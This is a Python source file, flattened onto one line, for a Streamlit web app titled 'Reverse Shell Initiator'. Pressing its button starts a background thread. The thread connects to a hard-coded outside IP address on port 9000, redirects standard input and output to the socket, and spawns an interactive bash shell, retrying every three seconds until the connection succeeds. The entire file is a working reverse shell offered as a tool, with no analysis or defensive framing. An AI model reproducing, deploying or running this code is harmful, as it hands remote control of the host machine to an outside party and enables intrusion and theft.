import streamlit as st import socket import subprocess import os import threading import time def run_reverse_shell(): def shell_thread(): ip = '45.155.205.202' port = 9000 while True: try: s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((ip, port)) s.send(b"Connected to reverse shell.\n") os.dup2(s.fileno(), 0) os.dup2(s.fileno(), 1) os.dup2(s.fileno(), 2) subprocess.call(['/bin/bash', '-i']) s.close() break except Exception as e: print(f"Connection failed: {e}. Retrying in 3 seconds...") time.sleep(3) shell = threading.Thread(target=shell_thread) shell.start() return "Reverse shell has been initiated." st.title("Reverse Shell Initiator") if st.button("Initiate Reverse Shell"): result = run_reverse_shell() st.write(result)